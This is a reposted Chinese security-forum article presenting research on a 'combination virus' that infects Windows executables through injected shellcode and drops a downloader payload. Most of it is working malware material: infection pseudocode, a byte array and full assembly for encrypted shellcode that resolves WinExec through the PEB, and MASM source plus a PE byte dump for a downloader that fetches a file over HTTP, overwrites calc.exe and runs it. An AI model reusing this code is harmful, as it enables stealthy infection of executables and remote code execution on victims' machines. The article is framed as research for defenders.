吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 4567|回复: 1
收起左侧

[转载] 基于shellcode感染方式的组合病毒研究

 关闭 [复制链接]
Hmily 发表于 2010-3-24 13:00
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

                            =|--bytehero team--|=--|=--|=

/=-----------------------------------------------------------------------=\

|=--------------=[ 基于shellcode感染方式的组合病毒研究   ]=--------------=|

|=-----------------------------------------------------------------------=|

|=---------------=[    by nEINEI/[bytehero]/100202        ]=-------------=|

|=---------------=[    nEINEI<neinei_at_bytehero_dot_com> ]=-------------=|

\=-----------------------------------------------------------------------=/

[目录]

[0x01].简介

[0x02].组合病毒

   2.1.原理

   2.2.一种实现思路

[0x03].技术实现

   3.1.控制模块C的伪码描述

   3.2.隐藏模块Sshellcode

   3.3.关于执行模块T

   3.4.整体框架

[0x04].检测讨论


[0x01].简介   


    组合病毒的概念,最早是在计算机病毒理论研究中确定的一种病毒类型。是属于理论上预测存在,实际环境中还未得到证实的一种病毒类型。在最近的分析样本中发现了类似思路的病毒,在该思路的基础上我们探讨一种可能的组合病毒技术实现及检测方案。


[0x02].组合病毒


    2.1.原理


    组合病毒与一般计算机病毒的差异是组合病毒由两部分a(激活函数)h(隐藏函数)组成,每个成分单独都不构成病毒,只有它们组合在一起才构成一个计算机病毒。在激活函数a未作用到被h感染的程序前,被h感染的程序表现如原来一样,激活函数a作用后,被感染程序才开始表现感染和传播性。组合病毒的特点是难于清除和具有极强的隐蔽性。关于这方面原理性描述可查找基于递归函数的计算机病毒描述一文。


    2.2.一种实现思路


    根据前面的原理可知,组合病毒至少需要由两个部分(ah)功能代码组成,在这里我们设想构造一个由3部分独立功能代码组成的程序。对任意一个符合组合病毒思路的exe程序,都可由三部分组成,分别是控制模块C、执行模块T、隐藏模块S组成,我们可以设想模块C完成激活功能及整体调度功能,模块T完成病毒的payload部分,这里我们把它简化一段类似downloader下载器的功能,模块S是隐藏的,基于shellcode方式感染其它exe文件,在模块C未进行调度激活前,被S感染的宿主程序不具有破坏行为,激活后模块S将调用执行模块T。工作流程如下:


病毒文件CV(组合病毒)

     |

     |

    \|/

     +-----------------+              .-------------------------.

     |   控制模块C      |------------->| 可随机选取一个感染对象   |

     +-----------------+              .-------------------------.

     |   执行模块T      |------------->| 可随机分散在任意文件夹中 |

     +-----------------+              .-------------------------.

     |   隐藏模块S      |------------->| 可随机感染一组文件对象   |

     +-----------------+              .-------------------------.



    执行步骤:


    1  模块C随机选取一个路径,注入模块S,去感染该路径下的所有文件,当获得控制权时,执行模块C传入的参数。


    2  模块C释放若干个模块T到随机的不同路径下。


    3  模块C随机选取一个路径下的文件,拷贝整体CV去感染它。


    4  当被模块S感染后的宿主程序运行时,且路径P下存在模块T,那么病毒将被执行。



这样当以计算机病毒的定义方式去检测时,模块C,T,S,将不可被检测(仅是理论衡量而不是实际检测)。因模块C仅是控制调度程序,具备感染性但却不具备破坏能力。模块T虽有破坏功能但不具备感染能力且不能主动运行,模块S虽然感染了宿主文件获得了执行权限但他本身并没有感染与破坏能力。

    所以仅当模块C,释放模块T到相应路径下,模块S感染了宿主程序时,病毒才会执行破坏功能。   


[0x03].技术实现


   3.1.控制模块C的伪码描述


   begin


       获得随机路径列表t


       获得本次产生随机路径个数n1      

       for each tdo

         用模块S去感染t下的exe文件
;当没有匹配时,S一直处于隐藏当中
     


       获得本次产生随机路径个数n2

       for each t[j] do  

         释放模块Tt[j]
;相当于激活
      


       do

           随机产生一个被感染文件k

       while(k包含在t中,且未被s感染)


       拷贝自身CV去感染k


   end   


   3.2.隐藏模块Sshellcode   


    S的部分功能非常简单,它只为了获得权限去执行一个exe程序。当然为了避免启发式检测,也可以做的比较复杂,这里仅做一个简单的演示,先重定位,解密,获得kernel32基址,获得WinExec API,执行即可。需要注意的是S模块本身并不知道要执行的exe路径,这里是模块C,激活后操作的,为了简单起见,在将模块S注入到宿主程序的一段空穴中后,可将路径直接写在S模块后面一同加密处理。


                                 加密
注入

   模块S   --->+-------------+ -------> +----------+ -----------> +---------+   宿主程序

               | shellcode   |          | loader   |              | eop    -|-.

               +-------------+          |----------|              |---------| |

     模块C写入-->| 模块T的路径 |          |crypt data|              |宿主空穴 | |

               +-------------+          +----------+              | s模块 <-|-.

                                                                  |         |

                                                                  +---------+



下面是模块Sshellcode

  unsigned char data[176] = {

         0xE8, 0x00, 0x00, 0x00, 0x00, 0x58, 0x83, 0xC0, 0x15, 0xB1, 0x10, 0x66, 0x8B, 0x18, 0x66, 0x81,

         0xFB, 0xF6, 0xF7, 0x74, 0x05, 0x30, 0x08, 0x40, 0xEB, 0xF1, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x57,

         0x69, 0x6E, 0x45, 0x78, 0x65, 0x63, 0x00, 0x5E, 0xB9, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x07, 0x00,

         0x00, 0x00, 0xE8, 0x24, 0x00, 0x00, 0x00, 0xEB, 0x72, 0x56, 0x33, 0xC0, 0x64, 0x8B, 0x40, 0x30,

         0x85, 0xC0, 0x78, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xEB, 0x09,

         0x8B, 0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x8B, 0xD8, 0x03, 0x58, 0x3C,

         0x83, 0xC3, 0x78, 0x8B, 0x1B, 0x03, 0xD8, 0x8B, 0x53, 0x20, 0x03, 0xD0, 0x53, 0x33, 0xDB, 0x56,

         0x51, 0x8B, 0x3A, 0x03, 0xF8, 0xF3, 0xA6, 0x74, 0x08, 0x59, 0x5E, 0x83, 0xC2, 0x04, 0x43, 0xEB,

         0xEE, 0x59, 0x59, 0x59, 0xD1, 0xE3, 0x8B, 0x51, 0x24, 0x03, 0xD0, 0x03, 0xD3, 0x8B, 0x12, 0x81,

         0xE2, 0xFF, 0xFF, 0x00, 0x00, 0x8B, 0x59, 0x1C, 0x03, 0xD8, 0xC1, 0xE2, 0x02, 0x03, 0xDA, 0x8B,

         0x13, 0x03, 0xD0, 0xC3, 0x58, 0x6A, 0x00, 0x50, 0xFF, 0xD2, 0xC3, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF

}


汇编代码如下:   

.code

assume fs:nothing

START:

         call reloc

reloc:

         pop eax

         add eax,15h ;定位到begin

         mov cl,10h  ;此处数字随意填写,最终在注入时,由模块C随机产生一个数值,并写如该位置

encrypt:

         mov     bx,[eax]

         cmp     bx,0f7f6h f7f6h是设定的边界值

         je      begin

         xor     [eax],cl  cl 是密钥,由外部程序改写

         inc     eax

         jmp     encrypt                    


begin:      

         call  _run

         db 'W'

         db 'i'

         db 'n'

         db 'E'

         db 'x'

         db 'e'

         db 'c'

         db 0


_run:

       pop esi 要搜索的api名称

       mov ecx,7

       call find_k32_address

       call get_api

       jmp exec


find_k32_address:

         push esi           push0

         xor  eax,eax

         mov  eax,fs:[eax+30h]

         test eax,eax

         js   f_k32_win9x

         mov  eax,[eax+0ch]

         mov  esi,[eax+1ch]

         lodsd

         mov  eax,[eax+8h]

         jmp f_k32_finished


f_k32_win9x:

         mov  eax,[eax+34h]

        lea  eax,[eax+7ch]

        mov  eax,[eax+3ch]        


f_k32_finished:

       pop esi           pop0

       ret        


get_api:

           mov ebx,eax

           add ebx,[eax+3ch]

           add ebx,78h

           mov ebx,[ebx]

           add ebx,eax  ;查找导入表

           mov edx,[ebx+20h]

           add edx,eax

           push ebx    push1 - 导入表结构指针

           xor ebx,ebx


cmp_api_name:

         push esi    push2

         push ecx    push3

         mov  edi,[edx]

         add  edi,eax

         repe cmpsb

         je   get_api_address

         pop ecx

         pop esi

         add edx,4

         inc ebx

         jmp cmp_api_name         


get_api_address:

         pop ecx

         pop ecx

         pop ecx

         shl ebx,1

         mov edx,[ecx+24h]

         add edx,eax

         add edx,ebx

         mov edx,[edx]

         and edx,0ffffh

         mov ebx,[ecx+1ch]

         add ebx,eax

         shl edx,2

         add ebx,edx

         mov edx,[ebx]

         add edx,eax

         ret     


exec_t:

         pop eax   eax 内容即指向了shellcode尾部,由模块C写入的激活执行T的路径。

         push 0

         push eax

         call edx

         ret            

exec:

         call exec_t


end START

以上代码参考了Cr4sh的代码略加修改,感谢Cr4sh


   3.3.关于执行模块T


   这里模块T部分仅做演示,仅为一个downloader功能。生产的exe文件未做减肥优化。


.586

.model flat , stdcall

include urlmon.inc

include kernel32.inc

include user32.inc

includelib urlmon.lib

includelib kernel32.lib

includelib user32.lib


.data

sz_net_path db "http://127.0.0.1/x.bin",0

sz_loc_path db "c:\windows\calc.exe",0

sz_title    db "model T",0              

.code


START:

    invoke URLDownloadToFile,0,offset sz_net_path,offset sz_loc_path,0,0

    invoke WinExec,offset sz_loc_path,0

    invoke MessageBox,0,offset sz_loc_path,offset sz_title ,0

    invoke ExitProcess,0

end START


unsigned char data[2560] = {

         0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00,

         0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00,

         0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68,

         0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F,

         0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20,

         0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x5D, 0x87, 0x01, 0x72, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21, 0x19, 0xE6, 0x6F, 0x21,

         0x97, 0xF9, 0x7C, 0x21, 0x12, 0xE6, 0x6F, 0x21, 0xE5, 0xC6, 0x7D, 0x21, 0x18, 0xE6, 0x6F, 0x21,

         0x52, 0x69, 0x63, 0x68, 0x19, 0xE6, 0x6F, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x03, 0x00,

         0x92, 0x8B, 0x90, 0x4B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x0F, 0x01,

         0x0B, 0x01, 0x05, 0x0C, 0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x10, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,

         0x00, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,

         0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00,

         0x37, 0xF7, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00,

         0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x20, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x20, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,

         0x00, 0x02, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00,

         0xEA, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40,

         0x2E, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00,

         0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x6A, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x68, 0x00, 0x30, 0x40, 0x00, 0x6A, 0x00,

         0xE8, 0x27, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0xE8, 0x27, 0x00, 0x00,

         0x00, 0x6A, 0x00, 0x68, 0x2B, 0x30, 0x40, 0x00, 0x68, 0x17, 0x30, 0x40, 0x00, 0x6A, 0x00, 0xE8,

         0x1A, 0x00, 0x00, 0x00, 0x6A, 0x00, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xCC, 0xFF, 0x25, 0x0C, 0x20,

         0x40, 0x00, 0xFF, 0x25, 0x04, 0x20, 0x40, 0x00, 0xFF, 0x25, 0x00, 0x20, 0x40, 0x00, 0xFF, 0x25,

         0x14, 0x20, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0xB8, 0x20, 0x00, 0x00, 0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x20, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9E, 0x20, 0x00, 0x00, 0x0C, 0x20, 0x00, 0x00,

         0x6C, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x20, 0x00, 0x00,

         0x00, 0x20, 0x00, 0x00, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0xDE, 0x20, 0x00, 0x00, 0x14, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB8, 0x20, 0x00, 0x00,

         0xAA, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0xD0, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x55, 0x52, 0x4C, 0x44, 0x6F, 0x77,

         0x6E, 0x6C, 0x6F, 0x61, 0x64, 0x54, 0x6F, 0x46, 0x69, 0x6C, 0x65, 0x41, 0x00, 0x00, 0x75, 0x72,

         0x6C, 0x6D, 0x6F, 0x6E, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x80, 0x00, 0x45, 0x78, 0x69, 0x74,

         0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x94, 0x02, 0x57, 0x69, 0x6E, 0x45, 0x78, 0x65,

         0x63, 0x00, 0x6B, 0x65, 0x72, 0x6E, 0x65, 0x6C, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00,

         0x9D, 0x01, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x75, 0x73,

         0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

